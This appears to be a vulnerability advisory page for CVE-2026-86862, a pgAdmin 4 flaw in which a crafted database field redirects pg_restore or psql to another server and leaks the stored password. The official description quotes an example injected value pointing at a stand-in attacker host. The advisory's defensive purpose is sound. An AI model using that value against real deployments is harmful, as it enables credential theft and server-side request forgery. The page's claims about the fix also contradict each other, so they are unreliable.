CVE-2026-86862 pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

High 7.1 Published Updated

Authenticated users can redirect database connections to attacker-controlled servers, exposing credentials and enabling outbound network access.

Exploited in the wild
Not known
Login needed
Any signed-in user
Attackable
Over the internet
Victim action needed
Not needed
Fix
None listed

What is CVE-2026-86862?

CVE-2026-86862 is a high-severity server-side request forgery vulnerability in pgadmin.org pgAdmin 4, published on 17 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Weakness: CWE-918, CWE-88, CWE-522

Which versions are affected by CVE-2026-86862?

It affects 1 product.

Products include Pgadmin Pgadmin 4.

How do I fix CVE-2026-86862?

No fix has been published for CVE-2026-86862 yet. Limit exposure of the affected software until one is available.

Upgrade, and send outbound requests through an allow-list that blocks internal addresses. More about Server-side request forgery.

Is CVE-2026-86862 being exploited?

There is no known exploitation of CVE-2026-86862 in the wild and no public exploit code.

Sources

Also known as GHSA-wvg3-mxwp-6pg5.

Is CVE-2026-86862 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free